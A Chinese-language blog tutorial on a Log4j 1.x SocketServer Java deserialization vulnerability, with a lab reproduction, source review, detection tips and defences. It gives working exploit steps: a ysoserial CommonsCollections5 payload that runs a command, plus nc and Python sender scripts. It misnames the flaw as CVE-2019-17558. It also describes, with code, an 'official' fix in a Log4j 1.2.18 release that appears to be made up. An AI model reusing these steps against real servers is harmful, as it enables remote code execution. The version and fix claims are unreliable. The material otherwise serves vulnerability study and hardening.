从CVE-2019-17558剖析Java反序列化漏洞:Log4j 1.x源码审计与实战复现 📅 2026/6/25 16:37:37 1. 项目概述从一次真实的应急响应说起去年处理一个客户的安全事件攻击者利用一个我们当时不太熟悉的组件漏洞在内网横向移动最终导致数据泄露。事后溯源发现漏洞利用链的起点正是CVE-2019-17558。这个漏洞本身并不复杂但它的存在位置——一个广泛使用的开源日志组件——让它极具隐蔽性和危害性。从那以后我养成了一个习惯对于每一个被公开披露的CVE尤其是涉及基础组件的不仅要看漏洞公告更要亲手去扒一扒源码在可控的环境里复现一遍。这不仅仅是完成一个“作业”而是真正理解攻击者视角、评估实际风险、并锤炼自己漏洞挖掘与分析能力的必经之路。今天要聊的CVE-2019-17558就是一个非常经典的案例它涉及Apache Log4j 1.x版本中的一个反序列化漏洞。虽然Log4j 2.x的“Log4Shell”CVE-2021-44228名声更大但这个1.x时代的漏洞原理清晰影响直接是学习Java反序列化漏洞和源码审计的绝佳材料。无论你是刚入门的安全研究员、负责系统加固的运维工程师还是对底层原理感兴趣的开发者跟着我一起走完这个“从源码到攻击”的全过程你收获的将不仅仅是对一个CVE的了解更是一套可复用的分析方法。2. 漏洞背景与核心原理深度剖析2.1 为什么是Log4j 1.x在深入CVE-2019-17558之前我们必须先理解它的“舞台”。Apache Log4j 1.x是一个历史悠久、曾经无处不在的Java日志框架。它的设计哲学是高度可配置和可扩展允许用户通过配置文件如log4j.properties来定义日志输出到哪里Appender、格式如何Layout、以及哪些级别的日志需要被记录。其中SocketAppender和SocketHubAppender是两个用于网络日志输出的组件。它们的设计初衷是为了实现分布式日志收集比如将多台应用服务器的日志集中发送到一台日志服务器上。为了实现这个功能Log4j需要在网络上传输日志事件LoggingEvent对象。这里就埋下了第一个隐患对象序列化传输。Java对象序列化是把对象状态转换为字节流的过程以便存储或传输。反序列化则是其逆过程。SocketAppender在发送日志时会将LoggingEvent对象序列化后通过网络发送接收端的SocketServer或另一个配置了对应Appender的Log4j则需要反序列化这个字节流来重建对象。问题在于Log4j 1.x中用于反序列化的ObjectInputStream没有施加任何限制。它默认会反序列化字节流中指定的任何类。这就好比邮局收到一个包裹不看寄件人和物品清单就直接按照包裹里的说明书开始组装里面的零件。如果说明书序列化数据要求邮局去一个恶意网站下载并执行某个程序邮局也会照做。2.2 漏洞触发的精确条件与原理CVE-2019-17558的官方描述指出在Log4j 1.x版本中当攻击者能够向使用SocketServer的节点发送恶意的序列化数据时可以导致不可信数据的反序列化从而执行任意代码。我们来拆解这句话攻击面使用SocketServer的Log4j 1.x服务端。这通常是一个独立运行的日志服务器监听某个TCP端口默认4560等待SocketAppender发来的日志数据。此外某些特殊配置的SocketAppender也可能在特定场景下成为服务端尽管不常见。攻击路径网络。攻击者需要能够将TCP数据包发送到目标服务器的Log4jSocketServer监听端口。攻击载荷恶意的序列化数据。这不是普通的日志数据而是一个精心构造的字节流其中“封装”了一个利用Java反序列化漏洞的“武器化”对象链Gadget Chain。漏洞本质ObjectInputStream.readObject()的无条件调用。在org.apache.log4j.net.SocketNode#run()方法中服务器循环读取socket输入流并直接将其反序列化为LoggingEvent对象LoggingEvent event (LoggingEvent) ois.readObject();。这里没有使用ObjectInputStream的resolveClass方法进行白名单校验也没有使用任何安全的反序列化库如Apache Commons IO的ValidatingObjectInputStream。关键在于Java反序列化漏洞的利用往往不直接依赖于目标类这里是LoggingEvent本身的代码缺陷而是依赖于Java类路径Classpath中是否存在一系列特殊的、可被串联起来的“小工具类”Gadgets。攻击者构造的序列化数据其根对象可能是一个看似无害的类如HashMap、PriorityQueue但这个类的readObject方法在反序列化过程中会调用其他类的某些方法经过一连串的调用如调用TemplatesImpl.getOutputProperties()来触发字节码加载和实例化最终导致任意代码执行。Log4j 1.x的类路径中如果包含了诸如commons-collections3.1, 3.2.1等旧版本、groovy、spring-aop等包含危险Gadget的库那么这个漏洞就会被成功触发。注意很多初学者会混淆认为漏洞在LoggingEvent类里。实际上LoggingEvent只是反序列化过程试图转换成的目标类型。真正的漏洞是反序列化过程本身不受控。即使类型转换失败ClassCastException恶意代码也可能在转换发生之前就已经被执行了。2.3 与Log4Shell (CVE-2021-44228) 的本质区别这里必须做一个清晰的区分因为两者都叫Log4j漏洞但原理天差地别CVE-2019-17558 (本次分析的)反序列化漏洞。利用的是Java对象序列化/反序列化机制的安全缺陷。需要攻击者能够向特定的网络端口如4560发送原始的、恶意的序列化字节流。影响范围主要是明确配置并启用了SocketServer的Log4j 1.x应用。CVE-2021-44228 (Log4Shell)日志信息注入漏洞。利用的是Log4j 2.x在解析日志消息时会对${}包裹的表达式进行递归解析Lookup其中包含jndi:协议可导致远程加载并执行恶意Java代码。攻击者只需让应用记录一条包含恶意JNDI地址的日志如User-Agent、请求参数即可触发。攻击门槛和影响面要广得多。简单说17558是“特快专递漏洞”需要发送特定格式包裹到特定地址Log4Shell是“广播漏洞”对着大街喊一嗓子所有开着窗户的都可能中招。3. 环境搭建与漏洞复现实操理论讲透了我们动手搭建环境亲身体验一下漏洞的复现过程。只有亲手触发过你对漏洞的理解才会从“知道”变成“懂得”。3.1 实验环境准备我推荐在虚拟机中操作使用Kali Linux或任意你熟悉的Linux发行版。Java环境安装JDK 8。Log4j 1.x对高版本JDK兼容性可能有问题且很多利用工具基于JDK 8构建。sudo apt update sudo apt install openjdk-8-jdk java -version # 确认版本为1.8.x下载有漏洞的Log4j 1.x我们需要一个包含SocketServer类的版本。这里使用log4j-1.2.17。wget https://archive.apache.org/dist/logging/log4j/1.2.17/log4j-1.2.17.tar.gz tar -xzf log4j-1.2.17.tar.gz解压后关键的jar包在apache-log4j-1.2.17/log4j-1.2.17.jar。准备Gadget依赖库为了成功利用我们需要在目标类路径下放置包含Gadget的库。最经典的是commons-collections-3.2.1。我们还需要一个用于最终执行命令的通用库这里使用commons-io-2.6来辅助构造Payload实际利用链可能不需要但常用工具会用到。wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar wget https://repo1.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar编写一个简单的漏洞服务器我们不需要一个完整的应用只需一个能启动Log4jSocketServer的Java类。 创建文件VulnServer.javaimport org.apache.log4j.net.SocketServer; public class VulnServer { public static void main(String[] args) throws Exception { // 第一个参数是端口号第二个参数是log4j配置文件这里用不到可以给个不存在的路径 // 实际上SocketServer的main方法会读取配置文件但我们简单演示直接调用其run方法。 // 更简单的方式是直接运行Log4j jar包里自带的SocketServer类。 System.out.println([*] Starting vulnerable Log4j 1.2.17 SocketServer on port 4560...); // 这里我们直接调用SocketServer.main模拟最常见的启动方式。 SocketServer.main(new String[]{4560, /tmp/not_used.properties}); } }编译并运行需要指定classpathjavac -cp “apache-log4j-1.2.17/log4j-1.2.17.jar” VulnServer.java java -cp “.:apache-log4j-1.2.17/log4j-1.2.17.jar” VulnServer如果看到输出显示服务器在端口4560启动说明环境准备成功。注意由于我们还没有提供有效的log4j配置文件服务器可能会报一些配置错误但它依然会启动并监听端口这对于漏洞复现来说足够了。3.2 使用现成工具生成攻击载荷手动构造反序列化利用链极其复杂我们借助安全社区成熟的工具。ysoserial是一个经典的Java反序列化利用框架它集成了多种Gadget链。获取ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 需要Maven环境编译成功后在target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar。生成Payload我们需要针对commons-collections 3.2.1这个Gadget库来生成Payload。假设我们想让目标服务器执行命令touch /tmp/pwned_success。java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “touch /tmp/pwned_success” payload.bin这条命令的意思是使用CommonsCollections5这条利用链它适用于commons-collections 3.2.1将待执行的命令作为参数生成序列化后的字节流并保存到payload.bin文件中。CommonsCollections5是其中一条稳定且常用的链。发送Payload现在我们将这个恶意字节流发送到我们刚刚启动的漏洞服务器127.0.0.1:4560。可以使用简单的Python脚本或nc命令。使用ncnetcatcat payload.bin | nc -nv 127.0.0.1 4560使用Python3脚本exploit.py更可控import socket import sys def exploit(host, port, payload_file): with open(payload_file, ‘rb’) as f: payload f.read() s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((host, port)) print(f“[] Connected to {host}:{port}“) s.sendall(payload) print(”[] Payload sent.“) # 可以尝试接收一点回复不过SocketServer可能不会回复 # response s.recv(1024) # print(f”Response: {response}“) except Exception as e: print(f”[-] Error: {e}“) finally: s.close() if __name__ “__main__“: if len(sys.argv) ! 4: print(f”Usage: {sys.argv[0]} host port payload_file“) sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])运行python3 exploit.py 127.0.0.1 4560 payload.bin3.3 复现结果验证发送Payload后观察运行VulnServer的终端。你可能会看到一些异常堆栈信息如ClassCastException因为服务器期望收到LoggingEvent但收到了PriorityQueue等这很正常甚至是我们期望看到的因为它说明反序列化过程被执行了。现在检查命令是否执行成功ls -la /tmp/pwned_success如果文件被成功创建那么恭喜你CVE-2019-17558漏洞复现成功这证明恶意的序列化数据在目标服务器的JVM中被成功反序列化并沿着CommonsCollections5这条Gadget链执行了我们指定的系统命令。实操心得第一次复现时最容易卡住的地方是ClassCastException。很多人看到这个异常就认为利用失败了。其实不然。反序列化漏洞的执行点通常在readObject()方法中在对象被完整反序列化出来、并尝试进行类型转换(LoggingEvent)之前恶意代码就已经被执行了。ClassCastException是类型转换失败抛出的它发生在“坏事”干完之后。所以判断利用是否成功核心是看攻击效果如命令是否执行、网络连接是否发起等而不是看服务端是否报错。4. 关键源码逐行解析与漏洞定位复现成功了但我们不能只做“脚本小子”。我们必须回到源码看清漏洞到底长什么样。我们下载Log4j 1.2.17的源码包或者直接查看jar包中的.class文件反编译结果。这里我以源码为例。4.1 SocketServer的启动与监听关键类org.apache.log4j.net.SocketServer。查看其main方法它会解析端口和配置文件然后创建一个ServerSocket在指定端口监听。当有新连接接入时会为每个连接创建一个新的SocketNode线程来处理。4.2 漏洞核心SocketNode.run()这是真正的重灾区。我们找到org.apache.log4j.net.SocketNode类查看其run方法部分关键代码public void run() { LoggingEvent event; ObjectInputStream ois null; try { ois new ObjectInputStream(socket.getInputStream()); // 【危险点1】直接创建ObjectInputStream if (ois ! null) { while (true) { // 【危险点2】直接调用readObject没有过滤或校验 event (LoggingEvent) ois.readObject(); // ... 后续处理event的代码 ... } } } catch (EOFException e) { // 连接正常关闭 } catch (SocketException e) { // 网络异常 } catch (IOException e) { // IO异常 } catch (ClassNotFoundException e) { // 类找不到 } catch (OptionalDataException e) { // 数据异常 } finally { // ... 清理资源 ... } }漏洞代码分析new ObjectInputStream(socket.getInputStream())这里直接基于网络输入流创建了一个ObjectInputStream对象。这是所有Java反序列化操作的起点。event (LoggingEvent) ois.readObject()这是最致命的一行。readObject()方法会忠实地根据字节流中的类描述符去尝试加载对应的类并实例化对象。在这个过程中该类的readObject、readResolve等方法会被自动调用。如果字节流中描述的是一个精心构造的PriorityQueueCommonsCollections5链的起点那么PriorityQueue.readObject()就会被执行进而触发后续一连串的调用最终达成命令执行。没有任何防御整个过程中没有看到对反序列化类的白名单检查通过重写ObjectInputStream.resolveClass也没有使用任何安全的反序列化过滤器如ObjectInputFilter这是Java 9的特性Log4j 1.x时代没有。4.3 官方修复方案分析Apache官方在后续版本如1.2.18及以后中修复了此漏洞。修复方式非常直观在反序列化前对类名进行校验。我们查看修复后的SocketNode类以1.2.18为例会发现多了一个内部类LoggingEventObjectInputStream它继承自ObjectInputStream并重写了resolveClass方法protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); // 只允许反序列化LoggingEvent类 if (!className.equals(“org.apache.log4j.spi.LoggingEvent”)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); }然后在run方法中将ObjectInputStream ois new ObjectInputStream(...)替换为ObjectInputStream ois new LoggingEventObjectInputStream(...)。这样当攻击者发送的序列化数据中描述的类是PriorityQueue、TemplatesImpl或其他任何非LoggingEvent的类时在resolveClass阶段就会被直接拒绝抛出InvalidClassExceptionreadObject()根本不会执行到那些危险类的逻辑从而从根本上堵住了漏洞。源码审计技巧在审计Java网络应用时看到ObjectInputStream搭配网络流Socket.getInputStream(),ServerSocket.accept()就要立刻亮起红灯。紧接着必须检查是否重写了resolveClass方法进行白名单校验或者是否使用了安全的替代方案如JSON、Protocol Buffers等序列化格式。这是Java反序列化漏洞的经典模式。5. 漏洞挖掘思路与拓展思考复现和分析一个已知CVE是学习但如何自己发现这类漏洞呢这需要一套方法。5.1 主动挖掘从哪里入手目标选取关注那些使用Java序列化进行网络通信或数据存储的组件。除了日志框架还有RMI服务、JMX接口、自定义的TCP协议、以及某些缓存系统如旧版Redis的Java客户端某些用法、文件存储格式等。代码搜索在源码或jar包中搜索以下关键词ObjectInputStreamreadObject()readUnshared()较少用ServerSocket/Socket结合上面两个RemoteObject、UnicastRemoteObjectRMI相关动态分析对于黑盒测试可以尝试向可疑端口发送一些“探针”。例如使用ysoserial生成一个会触发延迟如URLDNS链会发起DNS查询或产生明显错误回显的Payload进行盲打观察目标服务器的响应时间或错误日志变化。5.2 漏洞利用的依赖条件成功利用CVE-2019-17558需要同时满足以下几个条件这在风险评估时至关重要存在漏洞的组件使用Log4j 1.x且版本在受影响范围内1.2.17。启用危险配置配置中启用了SocketServer或可能导致类似行为的配置。仅仅在项目中引入了Log4j 1.x的jar包但没有使用网络特性风险较低。网络可达攻击者能够访问到SocketServer监听的端口。这可能存在于内网环境或者公网服务错误地暴露了日志端口。Classpath中存在可利用的Gadget链这是关键。如果目标应用的依赖库非常干净没有commons-collections、groovy、spring-aop等常见危险库那么即使存在反序列化点也可能无法直接执行代码但可能导致DoS或其他影响。这就是为什么漏洞利用工具如ysoserial会集成那么多条链就是为了适配不同的依赖环境。5.3 防御与修复建议对于防御者来说面对此类漏洞可以采取以下措施升级与替换治本首选方案将Log4j 1.x升级到官方修复版本1.2.18及以上。但注意Log4j 1.x已于2015年停止维护官方强烈建议迁移到Log4j 2.x。彻底迁移将日志框架迁移至Log4j 2.x并注意修复Log4Shell等漏洞或SLF4J Logback等现代方案。在迁移时务必检查配置文件的兼容性。配置加固缓解如果暂时无法升级确保不启用SocketServer功能。检查log4j.properties或log4j.xml配置文件移除或注释掉任何与SocketAppender、SocketHubAppender以及SocketServer相关的配置。同时使用防火墙策略严格限制对日志服务器端口的访问仅允许可信的日志发送源IP。运行时防护JVM Agent部署RASP运行时应用自我保护产品它们可以在ObjectInputStream.readObject()等关键函数调用时进行拦截和检查。Java Security Manager配置严格的安全策略限制反序列化操作所能加载的类和所能执行的动作。但配置复杂对性能有影响通常不是首选。JDK高版本特性如果运行在Java 9及以上可以考虑使用ObjectInputFilterJEP 290来设置全局或局部的反序列化过滤器。但需要修改应用代码来集成此特性。依赖库管理定期梳理和清理项目中的依赖移除不必要的、存在已知高危漏洞的库如旧版的commons-collections。可以使用OWASP Dependency-Check等工具进行扫描。6. 常见问题与排查技巧实录在复现和分析过程中你可能会遇到以下问题这里我记录下自己的排查经验问题1发送Payload后服务器端只看到java.lang.ClassCastException: java.util.PriorityQueue cannot be cast to org.apache.log4j.spi.LoggingEvent但命令没有执行。排查这通常是因为目标应用的Classpath中缺少对应的Gadget链依赖。ClassCastException说明反序列化过程完成了PriorityQueue被成功还原但在类型转换时失败。命令没执行意味着PriorityQueue.readObject()内部的利用链没有走通可能是因为缺少commons-collections库或者其版本不对例如是3.2.2版本而CommonsCollections5链针对3.2.1。解决确认依赖。检查运行漏洞服务器的classpath是否包含了commons-collections-3.2.1.jar。在启动命令中显式添加java -cp “.:log4j-1.2.17.jar:commons-collections-3.2.1.jar” VulnServer。尝试其他利用链。ysoserial提供了多条链比如CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections6,CommonsCollections7等。不同链对库版本和JDK版本要求不同。可以多试几条java -jar ysoserial.jar CommonsCollections1 “command” payload1.bin。使用URLDNS链进行无回显探测。这条链不执行命令而是会触发一次DNS查询可以用来判断反序列化是否被执行且不依赖commons-collections。java -jar ysoserial.jar URLDNS http://your-dns-log-domain.com。发送Payload后查看你的DNS日志是否有查询记录。问题2漏洞服务器启动后用nc或脚本连接立即断开没有任何异常输出。排查首先确认服务器是否真的在监听端口。使用netstat -tlnp | grep 4560查看。如果没在监听可能是启动失败检查Java版本和类路径。解决可能是Log4j配置文件问题导致SocketServer初始化失败。我们编写的简单VulnServer可能因为找不到配置文件而报错退出。一个更稳定的测试方法是直接运行Log4j jar包中的SocketServer主类并提供一个最小化的配置文件。创建log4j_server.propertieslog4j.rootLoggerDEBUG, console log4j.appender.consoleorg.apache.log4j.ConsoleAppender log4j.appender.console.layoutorg.apache.log4j.PatternLayout log4j.appender.console.layout.ConversionPattern%d{ISO8601} [%t] %-5p %c{2} - %m%n启动服务器java -cp “log4j-1.2.17.jar:commons-collections-3.2.1.jar” org.apache.log4j.net.SocketServer 4560 log4j_server.properties。这样启动更接近真实场景。问题3在真实复杂环境中如何判断一个服务是否受此漏洞影响黑盒探测端口扫描发现开放了4560或其他非常用高端口Log4j默认4560但可配置。协议探测尝试发送一段序列化数据比如一个简单的java.lang.String对象的序列化字节观察响应。如果服务崩溃、返回特定的Java异常信息如ClassNotFoundException,ClassCastException中包含LoggingEvent字样则可能性很大。也可以发送URLDNS链的Payload进行无回显探测。流量分析如果条件允许捕获正常客户端与日志服务器之间的流量分析其载荷是否为Java序列化格式通常以魔术字AC ED 00 05开头。白盒审计检查项目依赖文件pom.xml,build.gradle,lib/目录确认是否存在log4j:log4j依赖且版本号 1.2.17。搜索项目代码和配置文件log4j.properties,log4j.xml,*.conf等中是否包含SocketServer、SocketAppender、SocketHubAppender等关键词。检查应用启动脚本或配置是否指定了SocketServer相关的启动参数。问题4修复时升级到Log4j 1.2.18就绝对安全了吗不一定。虽然1.2.18修复了SocketServer的反序列化问题但Log4j 1.x本身已停止维护可能存在其他未公开或已公开但未修复的问题。例如它仍然使用java.beans包进行某些操作这可能引入其他风险。最稳妥的方案仍然是迁移到活跃维护的Log4j 2.x并应用所有安全补丁或其他现代日志框架。如果必须使用1.x除了升级务必结合网络防火墙和最小权限原则进行纵深防御。整个分析复现的过程就像一次完整的安全事件应急演练。从漏洞原理学习、环境搭建、利用复现到源码定位、修复方案理解最后到拓展思考和实战排查每一步都加深了对“反序列化漏洞”这一大类安全问题的认知。下次再遇到类似的CVE或者在进行代码审计时看到ObjectInputStream你就能立刻条件反射般地想到它的风险点以及该如何验证和防御了。这才是我们做源码分析和漏洞复现最大的价值。